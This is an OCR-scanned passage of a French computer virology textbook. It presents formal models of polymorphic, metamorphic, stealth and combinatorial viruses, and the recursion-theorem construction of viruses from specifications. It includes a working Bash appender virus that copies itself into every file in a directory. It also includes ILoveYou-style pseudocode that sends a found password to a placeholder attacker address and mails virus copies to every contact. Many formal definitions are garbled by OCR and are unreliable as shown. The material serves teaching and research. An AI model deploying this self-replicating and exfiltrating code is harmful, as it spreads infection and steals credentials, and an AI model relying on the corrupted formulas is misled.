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relativement & ’appel systéme sys, si pour tout programme i, nous avons :

D(d,p), si T'(d, p)
¢v(z) (dv p) = qsz(d?p[v(%)]) st I(da p)
¢i(d, p), stnon
et
D'(d,p), si T'(d, p)
(f)v(sys) (d,p) = ¢sys(dyp[v(&)]) si I'(d, p)
Psys(d, p), sinon

La fonction récursive sys dans la pratique décrit les mécanismes utilisés pour
la mise en résidence (interruptions 13H ou 21H des programmes TSR, API
Windows...).

Avec les définitions suivantes, Zuo et Zhou définissent rigoureusement la
notion de virus polymorphes et métamorphes. Cohen [51| et Adleman [1]
n’avaient qu’évoqué la notion de polymorphisme tandis que Spinellis [210]
I’avait implictement admise.

Définition 43 (Virus polymorphe o deux formes)

Le couple (v,v") de deuz fonctions récursives totales v et v' est appelé virus
polymorphe & deux formes si pour tout programme i, nous avons :

D(d,p), st T'(d, p)
¢v(z) (dv p) = ¢i(d>p[v/(&)])7 st I(d>p)
oi(d,p), sitnon
et
D({d,p), st T(d,p)
¢v’(i) (d¢p) = QS%(dvp[U(&)])? 56 I(d,p)
oi(d,p), sinon

Dans cette définition, quand le prédicat T'(d,p) est vérifié, alors la charge
finale est lancée (représentée par la fonction D(d, p)). Si le prédicat I(d, p) est
vérifié, alors le virus choisit un programme 3 1’aide de la fonction de sélection
S(p), l'infecte d’abord et exécute ensuite le programme original x (transfert
de controle a la partie hote). Selon ce formalisme, la fonction S(p) désigne en
fait la fonction réalisant également la « mutation » de code (par chiffrement
ou réécriture). Cette définition correspond en fait a celle d’un Plus Grand
Ensemble Viral (PGEV) composé de deux éléments seulement. Pour des
ensembles plus grands, et donc les virus polymorphes réels, la définition doit
étre étendue & un n-uplet (vy,ve,...,v,) de fonctions récursives totales. A
I'extréme, il est alors possible de considérer des virus polymorphes ayant un
nombre infini (mais néanmoins dénombrable) de formes.
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Définition 44 (Virus polymorphe a nombre infini de formes)
Une fonction récursive totale v(m,i) est un virus polymorphe & nombre infini
de formes si, pour tout m et tout programme i, alors v(m,i) satisfait :

D(d,p), si T(d,p)
Guo(m,iy(d:p) = § dild, plv(m +1,5(p))]), si I(d,p)
¢i(d, p), sinon

et si, pour tout m # n, v(m,i) # v(n,i).

Tout naturellement, cela & conduit les auteurs a formaliser la notion de virus
métamorphes'"

Définition 45 (Virus métamorphe)

Soit v et v deux fonctions récursives totales différentes. Le couple (v,v')
est appelé virus métamorphe si pour tout programme i, alors le couple (v,v")
satisfait :

D(d,p), si T(d,p)
Pu(iy(d,p) = § @i(d, plv"(S(P))]), si I(d,p)
¢i(d, p), sinon
el
D'(d, p), si T'(d, p)
¢1)/(i)(dap) = ¢Z(d,p[U(w)D, st I/(d>p)
oi(d,p), sinon
ot T(d,p) - respectivement 1(d,p), D(d,p), S(p) — est différent de T'(d, p)

~ respectiwvement I'(d, p), D'(d,p), S'(p).

La définition se généralise & un n-uplet quelconque de fonctions récursives
totales. En fait, les virus métamorphes sont similaires aux virus polymorphes,
excepté que les fonctions de sélection S(p) et S’(p) sont différentes. Alors que
les différentes formes mutées d’un virus polymorphe partagent le méme noyau
(en particulier la fonction de mutation), celles d'un virus métamorphe ont
chacune un noyau différent.

Voyons & présent le concept de virus furtif'?.

Définition 46 (Virus furtif)

Le couple (v, sys) constitué d’une fonction récursive totale v et d’un appel
systeme sys (également une fonction récursive) est appelé virus résident re-
lativement o 'appel systéme sys, s’il existe une fonction récursive h telle que
pour tout programme ¢, Nous aVONS :

11 Cette notion est présentée en détail dans [104, Chapitre 6].
12 (le tvpe de virus est présenté en détail dans [104. Chavitre 71.
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D(d.p), st T'(d, p)
Gu(iy(d,p) = { @i(d, p[v(S(p)), h(sys)]) st I(d,p)
oi(d,p), sinon

Ph(sys) (1) = { izgzg? Zznﬂi n: v(y)

La différence fondamentale avec les autres virus (en particulier comparer
avec le cas des virus résidents) réside dans le fait que, dans le cas d'un virus
furtif, non seulement il infecte d’autres programmes, mais il modifie ou utilise
également certains appels systéme de telle sorte que, lorsqu'une vérification
est faite par le systéme ou l'utilisateur (via le systéme néamnoins) pour
controler I'intégrité des programmes, ces derniers paraissent sains alors qu’en
réalité ils ont été infectés.

Enfin, les auteurs ont introduit une classe trés intéressante de virus, ap-
pelés virus combinatoires. Ces virus peuvent étre considérés comme une for-
malisation trés générale du concept de virus k-aires (voir section 5.5.1, [104,
Chapitre 4] et [107]) ou combinés.

Définition 47 (Virus combinatoire)
Le couple (a,h) de deux fonctions récursives totales a et h est appelé virus
combinatoire si pour tout programme i nous avons :

D(d,p), si T(d,p)
¢ah(i) (d7p) = ¢i(d7p[ah(81 (p))7 h(SQ_@)D 51 I(dv p)
¢i(d, p), sinon

et

¢h(z) (dap) = ¢i(dap)>
ot les deux fonctions a et h sont appelées respectivement fonction d’activation
et fonction de dissimulation.

Cette définition définit ici le cas de wvirus binaires (voir section 5.5.1) mais il
est possible de généraliser & un plus grand nombre de parties en considérant
le (n + 1)-uplet (a, hy,ho, ..., hy). Selon le formalisme développé dans [104,
Chapitre 4| et [107], la fonction d’activation décrit & la fois le mode (série
ou paralléle) et la sous-classe de virus (A, B ou C). Notons enfin que les
composants d’un virus combinatoire selon le formalisme de Zuo et Zhou (ou
d’un virus k-aires selon [107]) ne sont pas forcément des virus eux-mémes.
C’est précisément 1a Uintérét de ce type de virus (voir [104, Chapitre 4]).
Notons que dans [230], les virus dits composiles sont définis comme un cas
particulier de virus combinatoires, lorsque a et h sont eux-mémes des virus.
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Résultats d’existence et de complexité

Une fois ces classes définies, Zuo et Zhou ont démontré plusieurs résultats
fondamentaux. Précisons auparavant quelques notations supplémentaires.
Les ensembles suivants sont considérés dans la suite :

— Dy, = {i: ¢; est un virus non résident}.

— D, ={<1i,j >: (¢;, ¢;) est un virus résident}.

— Dy, ={<i1,...,in > (¢iy,... ¢s,) est un virus polymorphe a n formes}.

— D; = {i: ¢; est un virus polymorphe un nombre infini de formes}.

— Dy ={<i,j >: (¢4, ¢;) est un virus furtif}.

— D, ={<1,j >: (¢i, ¢;) est un virus combinatoire}.

La notation D{_i)Xé indique que l'on restreint l'ensemble D aux virus
ayant un noyau donné (par exemple celui d'un virus connu). Zuo et Zhou
ont alors démontré le théoréme suivant.

Théoréme 23 Les ensembles D; et D, sont non vides.
Démonstration. Laissée a titre d’exercice. Le lecteur consultera [230]. O

Notons que la preuve ne considére que des formes triviales pour ces virus, ce
qui suffit néanmoins a établir le résultat (utilisation des fonctions de padding
ou de compression). A part sous ces formes triviales, aucun autre type de
virus polymorphes ayant un nombre infini de formes n’est connu. 1l s’agit 1a
d’un probléme ouvert [102]. En revanche pour les virus combinatoires, des
formes non triviales ont été identifiées et créées [104, Chapitre 4] et [107].

En termes de complexité/calculabilité (voir la section 3.3.3 pour les
concepts et notations), Zuo et Zhou ont démontré les résultats suivants,
dont le lecteur trouvera la preuve dans [230].

Théoréme 24 L’ensemble D{er est un ensemble Ils-complet. L’ensemble
D,, est un ensemble X3 complet.

La premiére partie de ce théoréme montre que le fait de connaitre la nature
du noyau, s’il permet de réduire la complexité, ne permet pas, d’une maniére
générale, de rendre la détection plus facile.

Soit maintenant un virus fixé v et notons I, 'ensemble des programmes
infectés par v. En considérant les concepts et résultats de la section 3.3.4, le
lecteur pourra appréhender les conséquences du théoréme suivant établi par
Zuo et Zhou.

Théoréme 25 [l existe un virus v tel que 'ensemble I, est 3 -complet.
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Ce théoréme implique plus généralement (voir les exercices en fin de chapitre)
que, quel que soit le type de virus, 'ensemble I, 3 -complet. Autrement dit,
il n’existe aucun type de virus pour lequel la détection est systématiquement
facile.

Enfin, donnons un autre résultat encore plus pessimiste en ce qui concerne
la détection virale.

Théoréme 26 [231] Il existe un virus v tel que I, est non récursif et il
n’existe aucun ensemble récursif minimal le contenant.

En d’autres termes (voir les chapitres 2 et 3), ces virus sont indécidables.
Les auteurs n’ont donné qu’un résultat d’existence. Dans [104, Chapitre 6],
le lecteur trouvera la description algorithmique de tels virus.

4.5.2 Complexité en temps et virus

Dans leur second article [231], Zuo et Zhou se sont attachés a étudier les
problémes de complexité en temps (d’exécution). Ces résultats théoriques
sont trés importants dans la mesure ot ils donnent un cadre rigoureux pour
la conception de techniques virales sophistiquées quasi indétectables. C’est
le cas, par exemple, de la 7-obfuscation [20] [104, Section 8.2.3].

Nous reprendrons les notations de la section précédente. Considérons tou-
tefois les notations additionnelles qui suivent. Pour tout programme p, soit
t, la fonction définie comme suit :

Nombre d’instructions utilisées
t,(d,p) = < par p pour calculer ¢,(d, p), si ¢p(d, p) est défini
non défini sinon

= p.t(p(d,p)) s’arréte aprés ¢ instructions.

Si e est un index de Gédel pour le programme p, nous notons t.(d,p) pour
tp(dv p)'

Théoréme 27 Soit b(i) une fonclion récursive totale. Pour tout type de vi-
rus informatique, il existe un virus v(i) tel que te(i) > b(i) en presque tous
les programmes i el ot e est un quelconque index de Godel de v(i).

Ce résultat en pratique a pour conséquence que, quel que soit le temps que
consacre un détecteur antiviral, il sera toujours possible de modifier un virus
de sorte qu’il soit indétectable vis-a-vis de ce détecteur. Une application
concréte de ce théoréme est la 7-obfuscation [20] [104, Section 8.2.3].

Les auteurs donnent dans [231] d’autres résultats partiels concernant la
complexité en temps de ’ensemble [,,. Cependant, il reste de nombreux pro-
blémes ouverts dans ce domaine [1021.
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4.6 La récursion revisitée

Dans le chapitre 2 (section 2.2.4), nous avons présenté une version du
théoréme de récursion de Kleene qui nous a permis d’expliquer le lien exis-
tant entre ce théoréme et les mécanismes d’autoreproduction. En 1988, la
modélisation des virus par Leonard Adleman s’est appuyée implicitement
sur ce théoréme. En 1980, Jiirgen Kraus de ’Université de Dortmund dé-
montrera rigoureusement, parmi de nombreux autres résultats de tout pre-
mier plan (voir section 2.3.4), 'existence de programmes autoreproducteurs
a laide de ce fameux théoréme. Mais ses résultats ne seront jamais publiés si
ce n’est dans sa thése de doctorat!'® et ils ne seront redécouverts qu’en 2007
et publiés en 2008 [151,152].

Entre temps, une partie des résultats de J. Kraus ont été redémontrés
indépendamment — cas fréquent dans ’histoire des sciences — par Guillaume
Bonfante, Matthieu Kaczmarek et Jean-Yves Marion du LORIA & Nancy [30,
31,147] toujours en considérant ce fameux théoréme de récursion (ainsi que
de ses différentes formes). Leur formalisation, comme celle de Kraus en son
temps, permet d’une part de prendre en compte plus de types de malwares
et d’autre part d’étre constructive, c’est-a-dire qu’elle explique, en autres
choses, comment compiler un virus a partir d'une spécification. Mais les
travaux du LORIA vont beaucoup plus loin dans le travail de formalisation.
Ils ont donné naissance & une vision universelle, élégante et trés puissante.
Nous allons résumer les principaux résultats de I’équipe du Loria.

4.6.1 Retour sur le théoréme de récursion

Revenons sur ce théoréme'?, en présentant une version plus élémentaire

pour bien comprendre la relation fondamentale qu’il entretient avec les pro-

13 11 est trés probable que des considérations « extérieures » lices a la sensibilité de ses
travaux et de ses résultats (lire & ce sujet la section 13), ont empéché, & I'époque,
J. Kraus de les publier, expliquant ’oubli trés regrettable dans lequel ils ont sombré. Le
fait que, 25 ans plus tard, des chercheurs ont redémontré indépendamment une partie
des résultats de Kraus, prouve que tenter de contréler voire empécher la publication
de résultats scientifiques est non seulement stupide et illusoire mais également injuste
pour son auteur, qui de fait peut et doit étre considéré comme le pére fondateur réel
de la virologie informatique moderne, et ce prés de six ans avant Fred Cohen, domaine
de connaissance qui de fait n’est pas né aux Etats-Unis mais en Europe, démontrant
g’ll était besoin, que le « vieux continent » n’a absolument rien & envier a ces derniers,
dans le domaine scientifique.

Les deux théorémes de récursion, celui-ci et celui donné dans la section 2.2.4, sont ma-
thématiquement équivalents mais leurs démonstrations sont différentes et donc donnent
des constructions de points fixes différentes.

14
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grammes autoreproducteurs et la virologie et montrer comment il est possible
de l'utiliser.

Rappelons que ¢, correspond a l'exécution du programme p et que
op(x1,...,2y) est Pexécution du programme p sur les parameétres d’entrée
x1,...,%n. En d’autres termes, pp(x1,...,2,) correspond & l'appel de la
forme exec(p,z1,...,x,) présente dans de nombreux langages de program-
maftion.

Nous allons énoncer un résultat qui est & premiére vue simple. Il existe
une fonction spec telle que :

‘Pp(xlv S 73371) = Sospec(p,xl)(x% s 73371)

Autrement dit, la fonction spec spécialise le premier argument du programme
p a la valeur z;. Ainsi, spec(p,z1) est un programme ou la valeur z; est
gelée dans p. Ceci est bien connu en théorie de la compilation sous le nom
d’évaluation partielle [145, page 60| [144]. La fonction de spécialisation spec
est d’ailleurs un exemple frappant d’un concept abstrait qui donne un vrai
éclairage sur la pratique de la compilation.

Considérons le second théoréeme de récursion de S. C. Kleene [149] :

Théoréme 28 Pour tout programme p, il existe un point fize v tel que :

SOU(xlw .. 71'71) = (pp(vawla s 73771,)

La démonstration de ce théoréme permet de construire un point fixe v a partir
d’un programme p (voir plus loin). Donnons la preuve de cette seconde forme
du théoréme de récursion.

Démonstration. Soit g le programme de la fonction ¢, (spec(y,y), ). Le code
q dépend directement du code du programme p. Posons v = spec(q, q). Nous
vérifions que :

©o(T) = Pspec(q,q)(T) par définition de v
= q(q, @) par définition de spec
= pp(spec(q, q), x) par définition de ¢
= op(v, ) car v = spec(q,q)

Nous concluons que le programme v est un point fixe du programme p. O

Considérons un exemple concret d’application, pour illustrer 'utilité de ce
théoréeme. G. Bonfante et al. [30] définissent un ecto-symbiote comme un
virus aui vit a la surface des proerammes en conservant leur structure intacte.
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Ainsi, un ecto-symbiote v qui infecte une liste de programmes p1,. . . ,p, vérifie
une équation de la forme :

©o(P1y--y0n) = (6(v, 1), .., 0(v,pp))

ol la fonction & attache le virus v & un programme p;.

Cette équation comporte une inconnue v. La solution est obtenue en appli-
quant le théoréme de récursion. Dans le cas d’un langage de programmation
dans lequel nous avons accés a une référence sur le programme qui s’exécute,
la construction de v est relativement facile. Illustrons ce point par le code
Bash d’un ecto-symbiote qui se comporte comme dans ’équation ci-dessus :

# Pour chaque fichier FName
for FName in *;do
# Si FName n’est pas le programme
# appelant
if [ $FName != $0 ]; then
# ajout du code du programme appelant
# & la fin du fichier FName
cat $0 >> $FName
fi
done

Ce code correspond & un virus en langage interprété, fonctionnant par ajout
de code en mode appender (voir section 5.4). Dans cet exemple, la variable
$0 fait référence au programme qui s’exécute et nous avons ainsi « native-
ment » un mécanisme d’auto-référence. Ceci étant, un tel mécanisme n’est
pas toujours présent. D’ailleurs précisons que la démonstration du théoréme
de récursion n’en a pas besoin.

A 1la différence de Pexemple précédent en Bash, auto-référence dans la
démonstration du théoréme est obtenue en spécialisant un programme & son
propre code. G. Bonfante et al. ont montré que le contenu constructif de
la démonstration de ce théoréme peut ainsi étre exploité directement pour
produire des virus. Précisons que 'un des créateurs d’"UNIX, Ken Thompson,
décrit une construction similaire d’un cheval de Troie en C (infection de type
code source ; voir section 5.4.5) dans son célébre article [217].

Pour bien comprendre cette idée mais aussi pour en percevoir l'utilité, les
auteurs du Loria 'ont illustrée par un exemple ingpiré d’'un virus du type
ILoveYou :
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Love(v,x)

{
/* Trouver un mot de passe */
pass := exec(find,x);
/* L’envoyer ! */

sendmail (¢ ‘badguy@dom.com’’,pass) ;
/* récupérer les contacts */

/* du carnet d’adresse */
contact =exec(extractContact,x);
/* Pour chaque contact */
while (contact)

{

/* Envoyer une copie de v */
exec(sendmail,contact,v);
book := next(contact);
T
+

Dans cet exemple, les auteurs ont imaginé un scénario dans lequel ils avaient
accés A différentes fonctions systéme. L’attaquant cherche une information
pass & partir du point d’entrée z. Pour cela, il exécute une procédure sys-
téme find. Une fois 'information cible récupérée, il se 'envoie. 1l lui reste &
contaminer tous les contacts qu’il a trouvés dans le carnet d’adresse de sa
victime en leur envoyant un virus v par email, selon un scénario maintenant
devenu classique.

Remarquons toutefois que la fonction Love n’est ici que la spécification
du virus et le code v n’est pas défini. Pour 'obtenir, il suffit maintenant
d’appliquer le théoréme de récursion qui produit un point fixe pour Lowve.
Dans un premier temps, construisons le programme

q(y,x) {exec(Love,spec(y,y),x);}

Ensuite, nous obtenons un virus en posant v = spec(q, q). Le théoréme nous
assure que I’exécution de v(x) est identique a celle de Love(v,x). En faisant
un abus de notation, nous avons v(z) = Love(v, z).

Remarquons que cette construction est uniforme par rapport & une spé-
cification virale comme Lowve. En fait, nous obtenons une construction au-
tomatique d’un virus v & partir d’'une spécification virale quelconque f qui
vérifie :

(X1, xn) = flu,x1,. .., 2p)
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Les auteurs du Loria ont appelé, a juste titre, cette classe de virus blueprint.
En allant plus loin, il est possible de produire une distribution de virus
blueprint de virus & partir d’une spécification en suivant les techniques de
compilation :

comp(f) = spec(q,q) ot q(x,y) = f(spec(y,y), )

La fonction comp compile un virus a partir de la spécification virale f. L’ap-
proche des chercheurs du Loria est particuliérement puissante car elle permet
de décrire et de construire formellement des classes entiéres de virus. Il suffit
de considérer la spécification adéquate.

4.6.2 Les mécanismes de mutation

G. Bonfante et al. ont montré qu’il était possible d’aller plus loin avec
le théoréme de récursion (comme nous 'avons également mentionné dans
la section 2.2.4). La seconde forme du théoréme de récursion peut étre ren-
forcée de différentes facons. Chaque variante définit une classe de virus de
maniére rigoureuse en fonction du degré de complexité de son mécanisme
d’autoreproduction.

Présentons une version de ce théoréme qui permet de construire un com-
pilateur de virus « mutants », que les chercheurs du LORIA ont appelée
théoréme de récursion explicite.

Théoréme 29 Soit p un programme. Il existe un programme m tel que
Pom(y) (x) = SDp(ma Y, ‘/L‘)
De plus, le programme m peut étre injectif.

Démonstration. Cette démonstration s’appuie sur le théoréme de récursion.
Soit m le point fixe du programme spec(p, z,y). Nous avons

em(y) = spec(p,m,y)
Alinsi,
Poom () (T) = Pspec(pm,y) (T)
= @p(ma Y, w)

L’injectivité de m est assurée en rendant le programme spec injectif, ce qui
n’est nas troo difficile. O
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Ici m est le code d’'un générateur de point fixe. Chaque ¢,,(y) est un
point fixe pour le programme p. Dés lors, et en reprenant la méme trame
que précédemment (voir section précédente), il est possible de définir une
spécification virale qui utilise le générateur m pour produire un nouveau
virus a chaque infection. Il est alors possible de générer des virus mutants
(autrement dit polymorphes) pour une méme spécification. Si nous revenons
au scénario précédent, nous pouvons modifier la spécification virale Love de
sorte & envoyer non pas la méme copie du virus que celui qui s’exécute, mais
une copie différente avec les mémes fonctionnalités.

ExplicitLove(m,t,x)
{
pass := exec(find,x);
sendmail (¢ ‘badguy@dom.com’’,pass);
book := exec(extractContact,x);
while (book)
{
/* Construction de la génération t + 1 */
v = exec(m,t+1);
/* Envoi */
exec(sendmail ,book,v);
book := next(book);
+
s

Dans la spécification virale EzplicitLove, le virus v est obtenu a partir d’un
générateur m et de la variable ¢ pourrait, par exemple, étre [’horloge systéme.
Le théoréme de récursion explicite fournit automatiquement un générateur
m qui vérifie I’équation :

Poom (t) (7) = EzplicitLove(m, t, )

Ici, @ (t) est le virus de génération (forme mutée) ¢. A son tour, le théoréme
de récursion explicite permet de définir une classe de virus, appelés Smiths
par les chercheurs du Loria, qui satisfont I’équation générale suivante :

Ou(T1, oy Tn) = f(Mmyx1,...,Tn)

ol f est une spécification virale et le virus v a été produit par le générateur m,
c’est-a-dire qu'il existe t tel que ,,(t) = v. Encore une fois, la construction
est uniforme. Il est donc possible de construire une distribution de virus
mutants a partir d’une spécification virale. C’est écalement sur ce princine
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que fonctionnent les générateurs automatiques de virus comme The Virus
creation Lab (VCL) ou de vers comme le VBS Worm Generator (VBSWG)
(voir section 5.5.1).

Les travaux de G. Bonfante, M. Kaczmarek et Jean-Yves Marion ont
redémontré et généralisé avec élégance la notion d’autoreproduction, englo-
bant des concepts trés larges de la virologie informatique (voir exercices).
Ils ont poussé trés loin 'exploration du formalisme fondé sur le théoréme de
récursion. Cette exploration, au-dela du simple intérét purement théorique,
commence a déboucher sur des résultats et des techniques concrétes dans le
domaine de la détection virale, preuve que 'approche formelle et déductive
est la plus intéressante et la plus puissante. Nous conseillons fortement au
lecteur de s’intéresser aux travaux du laboratoire de haute sécurité (LHS)
du LORIA (en particulier lire [147]).

4.7 Conclusion

Ces travaux importants ont eu comme premier mérite de stimuler et d’at-
tirer de jeunes chercheurs vers la virologie informatique, méme si le nombre de
ces derniers est encore trop restreint. Mais le mouvement semble en marche.
Les travaux prometteurs de Matthew Webster [225] de 1"Université de Li-
verpool, de José Moraleés [177], de Grégoire Jacob [141,142], parmi d’autres,
en témoignent et, chaque année, quelques étudiants manifestent leur intérét
pour les travaux de formalisation en virologie informatique et débutent une
thése.

La premiére constatation, surprenante seulement en apparence, est que
ce mouvement est trés nettement centré sur le « vieux continent ». L'Eu-
rope, méme si I’Asie semble également connaitre un frémissement indéniable,
concentre 'essentiel des « nouveaux 